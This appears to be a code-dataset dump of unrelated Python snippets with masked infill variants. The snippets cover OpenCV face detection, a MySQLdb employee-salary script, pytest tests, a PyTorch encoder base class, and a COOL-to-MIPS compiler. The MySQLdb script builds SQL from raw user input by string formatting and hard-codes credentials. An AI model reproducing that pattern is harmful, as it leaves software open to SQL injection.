c = float(0.1) #esto es un 10 %
print("face_f: ", xf, xf + wf, yf, yf + hf)
#roi_i = img[yf: yf + hf, xf: xf + wf]
#cv2.imshow("roi_i", roi_i)
if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR)
#face_f no es igual a img, hace falta la apertura
y1 = yf - round(c * hf)
y2 = yf + hf + round(c * hf)
x1 = xf - round(c * wf)
x2 = xf + wf + round(c * wf)
roi_f = img[y1: y2, x1: x2]
print("Face apertura: ", x1, x2, y1, y2)
cv2.imshow('Face apertura',roi_f)
else:
#face_f es igual a img, no hace falta la apertura
roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]]
#cv2.imshow('roi_f',roi_f)
#paso el roi_f a gris para un mejor tratamiento
gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY)
cv2.imshow("gray_img",gray_img)
#aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width
faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5)
print("Faces: ", faces)
if type(faces) == np.ndarray:
flag = -1
for x,y,w,h in faces:
flag = flag + 1
#print("Face: ", x,y,w,h)
if w >= 100 and w <= 125 and h >= 100 and h <= 125:
print("Entro en el if de tamaño")
#Region Of Interest
print("Face: ", x,y,w,h)
roi_gray = gray_img[y:y+h, x:x+w]
cv2.imshow("roi_gray", roi_gray)
#aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes
eyes = eye_cascade.detectMultiScale(roi_gray)
c_eyes = 0
for ex,ey,ew,eh in eyes:
c_eyes = c_eyes + 1
if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara
print("faces[flag]", faces[flag])
return faces[flag]
| null | [
0,
1,
2,
3
] |
9,949 | 8a2b7376369513ce403a2542fb8c6d5826b2169b | # -*- coding: utf-8 *-*
import MySQLdb
conn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión
def crearTabla(query): # Le paso la cadena que realizará el create como parámetro.
cursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos.
cursor.execute(query) #Ejecuto la orden
cursor.close() # Una vez utilizado, cierro mi cursor.
def insertarEmpleados():
cursor= conn.cursor()
for x in range(2):
try:
nombre = raw_input('Nombre: ')
apellido = raw_input('Apellido: ')
sueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: ')))
hijos = (int(raw_input('Número de hijos: ')))
sueldoFinal = calcularImponible(sueldoBase, hijos)
insert = (("INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal))
cursor.execute(insert)
except ValueError:
print "Error, tipo de dato incorrecto"
except Exception:
print "Error"
cursor.close()
def comprobarSueldo(sueldoBase):
if sueldoBase<600:
sueldoBase=600
return sueldoBase
def calcularImponible(sueldo, hijos):
if hijos>0:
sueldoFinal= sueldo+((0.05*sueldo)*hijos)
else:
sueldoFinal= sueldo
return sueldoFinal
crearTabla("CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)")
insertarEmpleados()
conn.commit()
conn.close() | null | null | null | null | [
0
] |
9,950 | d10c74338ea18ef3e5fb6a4dd2224faa4f94aa62 | <mask token>
| <mask token>
@pytest.fixture()
def deployed_story_over_a_weekend():
revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})
revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'
})
revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})
rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':
DotDict({'Revisions': [revision_2, revision_1, revision_0]})})
return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',
'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',
'Development'}, {'Deployed', 'Prod - ON'})
<mask token>
def test_find_current_start_state():
assert 'In-Progress' == Story.find_current_state_name({'Backlog',
'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},
{'In-Progress', 'Development'})
| <mask token>
@pytest.fixture()
def deployed_story_over_a_weekend():
revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})
revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'
})
revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})
rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':
DotDict({'Revisions': [revision_2, revision_1, revision_0]})})
return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',
'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',
'Development'}, {'Deployed', 'Prod - ON'})
def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):
assert deployed_story_over_a_weekend.cycle_time == 7
def test_find_current_start_state():
assert 'In-Progress' == Story.find_current_state_name({'Backlog',
'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},
{'In-Progress', 'Development'})
| import pytest
from domain.story import Story
from tests.dot_dictionary import DotDict
@pytest.fixture()
def deployed_story_over_a_weekend():
revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})
revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'
})
revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',
'Description':
'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})
rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':
DotDict({'Revisions': [revision_2, revision_1, revision_0]})})
return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',
'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',
'Development'}, {'Deployed', 'Prod - ON'})
def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):
assert deployed_story_over_a_weekend.cycle_time == 7
def test_find_current_start_state():
assert 'In-Progress' == Story.find_current_state_name({'Backlog',
'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},
{'In-Progress', 'Development'})
| import pytest
from domain.story import Story
from tests.dot_dictionary import DotDict
@pytest.fixture()
def deployed_story_over_a_weekend():
revision_0 = DotDict({
'CreationDate': "2019-07-11T14:33:20.000Z"
})
revision_1 = DotDict({
'CreationDate': "2019-07-31T15:33:20.000Z",
'Description': "SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]"
})
revision_2 = DotDict({
'CreationDate': "2019-08-06T16:33:20.000Z",
'Description': "SCHEDULE STATE changed from [Ready For Prod] to [Deployed]"
})
rally_story = DotDict({
'ScheduleState': 'Completed',
'RevisionHistory': DotDict({
'Revisions': [revision_2, revision_1, revision_0]
})
});
return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'],
{'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'})
def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):
assert deployed_story_over_a_weekend.cycle_time == 7
def test_find_current_start_state() :
assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
| [
0,
2,
3,
4,
5
] |
9,951 | 86ee2300b5270df3dadb22f2cfea626e6556e5db | <mask token>
class BaseEncoder(nn.Module):
<mask token>
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError('Unrecognized options: {}'.format(', '.join(
kwargs.keys())))
super(BaseEncoder, self).__init__()
<mask token>
def get_parameters_for_optimizer(self):
return self.parameters()
| <mask token>
class BaseEncoder(nn.Module):
<mask token>
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError('Unrecognized options: {}'.format(', '.join(
kwargs.keys())))
super(BaseEncoder, self).__init__()
@abstractmethod
def forward(self, features, features_lengths, spkids):
""" Encode a minibatch of audio features
:param features: float32 tensor of size (bs x t x f x c)
:param features_lengths: int64 tensor of size (bs)
:param spkids: string id of speakers
:returns: A tuple with elements:
- encoded: float32 tensor of size (t x bs x d)
- encoded_lens: int64 tensor of size (bs)
"""
pass
def get_parameters_for_optimizer(self):
return self.parameters()
| <mask token>
class BaseEncoder(nn.Module):
__metaclass__ = ABCMeta
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError('Unrecognized options: {}'.format(', '.join(
kwargs.keys())))
super(BaseEncoder, self).__init__()
@abstractmethod
def forward(self, features, features_lengths, spkids):
""" Encode a minibatch of audio features
:param features: float32 tensor of size (bs x t x f x c)
:param features_lengths: int64 tensor of size (bs)
:param spkids: string id of speakers
:returns: A tuple with elements:
- encoded: float32 tensor of size (t x bs x d)
- encoded_lens: int64 tensor of size (bs)
"""
pass
def get_parameters_for_optimizer(self):
return self.parameters()
| from torch import nn
from abc import ABCMeta, abstractmethod
class BaseEncoder(nn.Module):
__metaclass__ = ABCMeta
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError('Unrecognized options: {}'.format(', '.join(
kwargs.keys())))
super(BaseEncoder, self).__init__()
@abstractmethod
def forward(self, features, features_lengths, spkids):
""" Encode a minibatch of audio features
:param features: float32 tensor of size (bs x t x f x c)
:param features_lengths: int64 tensor of size (bs)
:param spkids: string id of speakers
:returns: A tuple with elements:
- encoded: float32 tensor of size (t x bs x d)
- encoded_lens: int64 tensor of size (bs)
"""
pass
def get_parameters_for_optimizer(self):
return self.parameters()
| from torch import nn
from abc import ABCMeta, abstractmethod
class BaseEncoder(nn.Module):
__metaclass__ = ABCMeta
def __init__(self, **kwargs):
if len(kwargs) > 0:
raise RuntimeError(
"Unrecognized options: {}".format(', '.join(kwargs.keys())))
super(BaseEncoder, self).__init__()
@abstractmethod
def forward(self, features, features_lengths, spkids):
""" Encode a minibatch of audio features
:param features: float32 tensor of size (bs x t x f x c)
:param features_lengths: int64 tensor of size (bs)
:param spkids: string id of speakers
:returns: A tuple with elements:
- encoded: float32 tensor of size (t x bs x d)
- encoded_lens: int64 tensor of size (bs)
"""
pass
def get_parameters_for_optimizer(self):
return self.parameters() | [
3,
4,
5,
6,
7
] |
9,952 | 63bc191a81a200d3c257de429c082cc8d13c98f4 | <mask token>
class MipsVisitor:
<mask token>
def __init__(self, inherit_graph, output_file='mips_code.mips'):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
<mask token>
<mask token>
def write_file(self, msg, mode='a', tabbed=True):
f = open(self.output_file, mode)
f.write('{}{}\n'.format('\t' if tabbed else '', msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
elif size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
<mask token>
<mask token>
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', 'w')
self.write_file('.data', tabbed=False)
self.static_datas()
for data in node.data_section:
self.visit(data)
self.write_file('')
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz "{}"'.format(node.
type_section[i].type_name, node.type_section[i].type_name))
self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""')
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
self.conforms()
self.isvoid()
self.object_abort()
self.object_copy()
self.object_typename()
self.string_length()
self.string_concat()
self.string_substr()
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
self.write_file('function_build_class_name_table:', tabbed=False)
self.allocate_memory(len(node.type_section) * 4)
self.write_file('move $s1 $v0')
for i in range(len(node.type_section)):
self.write_file('la $t1 classname_{}'.format(node.type_section[
i].type_name))
self.write_file('sw $t1 {}($s1)'.format(4 * i))
self.write_file('')
self.write_file('function_allocate_prototypes_table:', tabbed=False)
self.allocate_memory(8 * len(self.type_index))
self.write_file('move $s0 $v0')
self.write_file('')
self.write_file('function_build_prototypes:', tabbed=False)
for ins in self.prototypes_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_dispatch_tables:', tabbed=False)
for ins in self.dispatchtable_code:
self.write_file(ins)
self.write_file('')
self.write_file('function_build_class_parents_table:', tabbed=False)
self.allocate_memory(4 * len(self.type_index))
self.write_file('move $s2 $v0')
self.write_file('')
for parent in self.inherit_graph.keys():
p_index = self.type_index.index(parent)
for child in self.inherit_graph[parent]:
ch_index = self.type_index.index(child.name)
self.write_file(f'li $t0 {ch_index}')
self.write_file(f'mul $t0 $t0 4')
self.write_file(f'add $t0 $t0 $s2')
self.write_file(f'li $t1 {p_index}')
self.write_file(f'sw $t1 0($t0)')
self.write_file('')
self.write_file('')
self.write_file('\n########### COOL FUNCTIONS ##########\n')
for func in node.code_section:
is_built_in = False
if not INIT_CIL_SUFFIX in func.name:
is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in
func.name] != []
if not is_built_in:
self.visit(func)
self.write_file('\n#####################################\n')
<mask token>
@visitor.when(cil.Type)
def visit(self, node: cil.Type):
self.dispatchtable_code.append(f'# Type {node.type_name}')
self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.
methods)))
self.dispatchtable_code.append('li $v0 9')
self.dispatchtable_code.append('syscall')
for i in range(len(node.methods)):
self.dispatchtable_code.append('la $t1 function_{}'.format(node
.methods[i].function_name))
self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))
self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.
type_index.index(node.type_name)))
self.dispatchtable_code.append('sw $v0 8($t0)')
self.dispatchtable_code.append('')
self.prototypes_code.append(f'# Type {node.type_name}')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('li $v0 9')
self.prototypes_code.append('syscall')
class_index = self.type_index.index(node.type_name)
self.prototypes_code.append('li $a0 {}'.format(class_index))
self.prototypes_code.append('sw $a0 0($v0)')
self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.
attributes)))
self.prototypes_code.append('sw $a0 4($v0)')
self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))
self.prototypes_code.append('')
<mask token>
@visitor.when(cil.Assign)
def visit(self, node: cil.Assign):
self.write_file('# ASSIGN')
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
<mask token>
<mask token>
<mask token>
<mask token>
@visitor.when(cil.Equal)
def visit(self, node: cil.Equal):
self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))
self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')
self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')
self.write_file('lw $a0 0($t0)')
self.write_file('lw $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('li $a2 {}'.format(self.type_index.index(
INTEGER_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(
BOOLEAN_CLASS)))
self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')
self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))
)
self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')
self.write_file(f'_eq_str_{node.id}_:', tabbed=False)
self.write_file('lw\t$t3 12($t0)')
self.write_file('lw\t$t3 12($t3)')
self.write_file('lw\t$t4, 12($t1)')
self.write_file('lw\t$t4, 12($t4)')
self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')
self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')
self.write_file('addu $t0 $t0 16')
self.write_file('lw $t0 0($t0)')
self.write_file('addu $t1 $t1 16')
self.write_file('lw $t1 0($t1)')
self.write_file('move $t2 $t3')
self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)
self.write_file('lb $a0 0($t0)')
self.write_file('lb $a1 0($t1)')
self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')
self.write_file('addu $t0 $t0 1')
self.write_file('addu $t1 $t1 1')
self.write_file('addiu $t2 $t2 -1')
self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)
self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')
self.write_file(f'b _eq_true_{node.id}_')
self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)
self.write_file('lw $a3 12($t0)')
self.write_file('lw $t4 12($t1)')
self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')
self.write_file(f'_eq_true_{node.id}_:', tabbed=False)
self.write_file('li $a0 1')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'b end_equal_{node.id}_')
self.write_file(f'_eq_false_{node.id}_:', tabbed=False)
self.write_file('li $a0 0')
self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))
self.write_file(f'end_equal_{node.id}_:', tabbed=False)
<mask token>
@visitor.when(cil.EqualOrLessThan)
def visit(self, node: cil.EqualOrLessThan):
self.write_file('# <=')
self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))
self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))
self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))
self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))
self.write_file('')
@visitor.when(cil.GetAttrib)
def visit(self, node: cil.GetAttrib):
self.write_file('# GETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.SetAttrib)
def visit(self, node: cil.SetAttrib):
self.write_file('# SETATTR')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
if isinstance(node.src, int):
self.write_file(f'li $a0, {node.src}')
elif node.src[:5] == 'data_':
self.write_file(f'la $a0, {node.src}')
else:
self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')
self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')
self.write_file('')
@visitor.when(cil.TypeOf)
def visit(self, node: cil.TypeOf):
self.write_file('# TYPEOF')
self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')
self.write_file(f'lw $a0 0($a1)')
self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')
self.write_file('')
<mask token>
@visitor.when(cil.Call)
def visit(self, node: cil.Call):
self.write_file('# CALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
self.write_file(f'jal function_{node.f}')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
if node.dest:
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
self.write_file('')
@visitor.when(cil.VCall)
def visit(self, node: cil.VCall):
self.write_file('# VCALL')
self.write_file(f'addiu $sp, $sp, -8')
self.write_file(f'sw $ra, 4($sp)')
self.write_file(f'sw $fp, 8($sp)')
if node.ttype[0] == '_':
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
else:
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
self.write_file(f'mulu $a2, $a2, 8')
self.write_file(f'addu $a2, $a2, $s0')
self.write_file(f'lw $a1, 0($a2)')
self.write_file(f'lw $a2, 8($a1)')
self.write_file(f'lw $a0 {node.f * 4}($a2)')
self.write_file(f'jalr $a0')
self.write_file(f'lw $fp, 8($sp)')
self.write_file(f'lw $ra, 4($sp)')
self.write_file(f'addiu $sp, $sp, 8')
self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')
if node.ttype[0] != '_':
self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')
else:
self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')
self.write_file('')
@visitor.when(cil.PushParam)
def visit(self, node: cil.PushParam):
self.write_file('# PUSHPARAM')
if node.name[0] != '_':
self.write_file('li $a0, {}'.format(self.type_index.index(node.
name)))
else:
self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))
self.push()
self.write_file('')
@visitor.when(cil.PopParam)
def visit(self, node: cil.PopParam):
self.write_file('# POPPARAM')
self.pop(node.name)
self.write_file('')
@visitor.when(cil.Return)
def visit(self, node: cil.Return):
self.write_file('# RETURN')
self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))
@visitor.when(cil.Label)
def visit(self, node: cil.Label):
self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
def object_copy(self):
self.write_file('function_Object_copy:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $t0 12($fp)')
self.write_file('lw $a0 4($t0)')
self.write_file('move $t4 $a0')
self.write_file('li $v0 9')
self.write_file('syscall')
self.write_file('move $t2 $v0')
self.write_file('li $t3 0')
self.write_file('_objcopy_loop:', tabbed=False)
self.write_file('lw $t1 0($t0)')
self.write_file('sw $t1 0($v0)')
self.write_file('addiu $t0 $t0 4')
self.write_file('addiu $v0 $v0 4')
self.write_file('addiu $t3 $t3 4')
self.write_file('ble $t4 $t3 _objcopy_loop')
self.write_file('_objcopy_div_end_:', tabbed=False)
self.write_file('move $v0 $t2')
self.write_file('jr $ra')
self.write_file('')
def object_typename(self):
self.write_file('function_Object_type_name:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a1 0($a1)')
self.write_file('mulu $a1 $a1 4')
self.write_file('addu $a1 $a1 $s1')
self.write_file('lw $a1 0($a1)')
self.write_file('move $a2 $0')
self.write_file('move $t2 $a1')
self.write_file('_str_len_clsname_:', tabbed=False)
self.write_file('lb $a0 0($t2)')
self.write_file('beq $a0 $0 _end_clsname_len_')
self.write_file('addiu $a2 $a2 1')
self.write_file('addiu $t2 $t2 1')
self.write_file('j _str_len_clsname_')
self.write_file('_end_clsname_len_:', tabbed=False)
self.write_file('sw $a2, 12($v0)')
self.write_file('sw $v0, 12($v1)')
self.write_file('sw $a1, 16($v1)')
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
def string_length(self):
self.write_file('function_String_length:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 12($fp)')
self.write_file('lw $v0 12($a0)')
self.write_file('jr $ra')
self.write_file('')
def string_concat(self):
self.write_file('function_String_concat:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file('move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file('move $t3 $v0')
self.write_file('lw $a1 12($fp)')
self.write_file('lw $a2 16($fp)')
self.write_file('lw $t1 12($a1)')
self.write_file('lw $t1 12($t1)')
self.write_file('lw $t2 12($a2)')
self.write_file('lw $t2 12($t2)')
self.write_file('addu $t0 $t2 $t1')
self.write_file('sw $t0 12($v1)')
self.write_file('lw $a1 16($a1)')
self.write_file('lw $a2 16($a2)')
self.write_file('addiu $t0 $t0 1')
self.allocate_memory('$t0', register=True)
self.write_file('move $t5 $v0')
self.write_file('move $t4 $a1')
self.write_file('addu $a1 $a1 $t1')
self.write_file('_strcat_copy_:', tabbed=False)
self.write_file('beq $t4 $a1 _end_strcat_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_')
self.write_file('_end_strcat_copy_:', tabbed=False)
self.write_file('move $t4 $a2')
self.write_file('addu $a2 $a2 $t2')
self.write_file('_strcat_copy_snd_:', tabbed=False)
self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t5)')
self.write_file('addiu $t5 $t5 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _strcat_copy_snd_')
self.write_file('_end_strcat_copy_snd_:', tabbed=False)
self.write_file('sb $0 0($t5)')
self.write_file('sw $v1 12($t3)')
self.write_file('sw $v0 16($t3)')
self.write_file('move $v0 $t3')
self.write_file('jr $ra')
self.write_file('')
def string_substr(self):
self.write_file('function_String_substr:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file(f'lw $t5 12($fp)')
self.write_file(f'lw $a1 16($fp)')
self.write_file(f'lw $a1 12($a1)')
self.write_file(f'lw $a2 20($fp)')
self.write_file(f'lw $a2 12($a2)')
self.write_file(f'blt $a1 $0 _index_negative')
self.write_file(f'blt $a2 $0 _index_negative')
self.write_file(f'add $a2 $a1 $a2')
self.write_file(f'lw $a3 12($t5)')
self.write_file(f'lw $a3 12($a3)')
self.write_file(f'bgt $a2 $a3 _index_out')
self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))
self.write_file(f'move $v1 $v0')
self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))
self.write_file(f'move $t0 $v0')
self.write_file(f'move $t7 $a2')
self.write_file(f'subu $t7 $t7 $a1')
self.write_file(f'sw $t7 12($t0)')
self.allocate_memory('$a2', register=True)
self.write_file(f'sw $t0 12($v1)')
self.write_file(f'sw $v0 16($v1)')
self.write_file('move $t1 $v0')
self.write_file('lw $t5 16($t5)')
self.write_file('move $t4 $t5')
self.write_file('addu $t4 $t4 $a1')
self.write_file('addu $t5 $t5 $a2')
self.write_file('_substr_copy_:', tabbed=False)
self.write_file('bge $t4 $t5 _end_substr_copy_')
self.write_file('lb $a0 0($t4)')
self.write_file('sb $a0 0($t1)')
self.write_file('addiu $t1 $t1 1')
self.write_file('addiu $t4 $t4 1')
self.write_file('j _substr_copy_')
self.write_file(f'_index_negative:', tabbed=False)
self.write_file(f'la $a0 _index_negative_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_index_out:', tabbed=False)
self.write_file(f'la $a0 _index_out_msg')
self.write_file(f'b _subst_abort')
self.write_file(f'_subst_abort:', tabbed=False)
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file('la\t$a0 _abort_msg')
self.write_file(f'li $v0 4')
self.write_file(f'syscall')
self.write_file(f'li $v0 10')
self.write_file(f'syscall')
self.write_file('_end_substr_copy_:', tabbed=False)
self.write_file('move $v0 $v1')
self.write_file('jr $ra')
self.write_file('')
<mask token>
<mask token>
def io_out_int(self):
self.write_file('function_IO_out_int:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.write_file('lw $a0 16($fp)')
self.write_file('lw $a0 12($a0)')
self.write_file('li $v0 1')
self.write_file('syscall')
self.write_file('lw $v0 12($fp)')
self.write_file('jr $ra')
self.write_file('')
<mask token>
<mask token>
def isvoid(self):
self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)
self.write_file(f'move $fp, $sp')
self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))
self.write_file(f'lw $t0 12($fp)')
self.write_file(f'la $t1 {VOID_MIPS_NAME}')
self.write_file(f'beq $t0 $t1 _is_void_true_')
self.write_file(f'sw $0 12($v0)')
self.write_file(f'j _is_void_end_')
self.write_file(f'_is_void_true_:', tabbed=False)
self.write_file(f'li $t0 1')
self.write_file(f'sw $t0 12($v0)')
self.write_file(f'_is_void_end_:', tabbed=False)
self.write_file(f'jr $ra')
self.write_file(f'')
| <mask token>
class MipsVisitor:
<mask token>
def __init__(self, inherit_graph, output_file='mips_code.mips'):
self.inherit_graph, _ = inherit_graph
self.offset = dict()
self.type_index = []
self.dispatchtable_code = []
self.prototypes_code = []
self.cur_labels_id = 0
self.output_file = output_file
<mask token>
<mask token>
def write_file(self, msg, mode='a', tabbed=True):
f = open(self.output_file, mode)
f.write('{}{}\n'.format('\t' if tabbed else '', msg))
f.close()
def allocate_memory(self, size=None, register=False):
if register:
self.write_file('move $a0 {}'.format(size))
elif size:
self.write_file('li $a0 {}'.format(size))
self.write_file('li $v0 9')
self.write_file('syscall')
<mask token>
<mask token>
@visitor.when(cil.Program)
def visit(self, node: cil.Program):
self.write_file('', 'w')
self.write_file('.data', tabbed=False)
self.static_datas()
for data in node.data_section:
self.visit(data)
self.write_file('')
for i in range(len(node.type_section)):
self.type_index.append(node.type_section[i].type_name)
self.write_file('classname_{}: .asciiz "{}"'.format(node.
type_section[i].type_name, node.type_section[i].type_name))
self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""')
self.write_file('\n.text')
self.entry()
self.write_file('\n########## STATIC FUNCTIONS ##########\n')
self.conforms()
self.isvoid()
self.object_abort()
self.object_copy()
self.object_typename()
self.string_length()
self.string_concat()
self.string_substr()
self.io_in_int()
self.io_in_string()
self.io_out_int()
self.io_out_string()
for t in node.type_section:
self.visit(t)
self.write_file('\n############## TABLES ################\n')
